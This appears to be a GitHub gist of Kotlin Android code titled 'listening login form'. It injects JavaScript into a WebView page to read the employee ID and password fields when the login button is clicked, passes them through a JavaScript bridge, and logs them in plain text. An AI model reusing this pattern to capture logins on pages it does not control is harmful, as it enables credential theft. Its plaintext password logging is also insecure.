Skip to content

Instantly share code, notes, and snippets.

@esabook
Last active February 8, 2020 07:29
Show Gist options
  • Save esabook/a2e11934469ee543a2a7072403ea9e99 to your computer and use it in GitHub Desktop.
Save esabook/a2e11934469ee543a2a7072403ea9e99 to your computer and use it in GitHub Desktop.
listening login form
web.settings.javaScriptEnabled = true
web.settings.allowFileAccessFromFileURLs = true
web.webViewClient = object: WebViewClient(){
override fun onPageFinished(view: WebView?, url: String?) {
super.onPageFinished(view, url)
evaluateJS(view)
}}
web?.addJavascriptInterface(this, "LISTEN")
web.loadUrl("☆url☆")
}
fun evaluateJS(web: WebView?){
var function = """
(function () {
document.getElementsByClassName('btn btn-primary')[0].addEventListener('click', function(){
var empID = document.getElementById('empID').value;
var pass = document.getElementById('Password').value;
LISTEN.action(empID + '<==>'+ pass);
})
})()
"""
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
web?.evaluateJavascript(function) { }
}
}
@JavascriptInterface
fun action(str: String) {
Log.d("==>", str)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment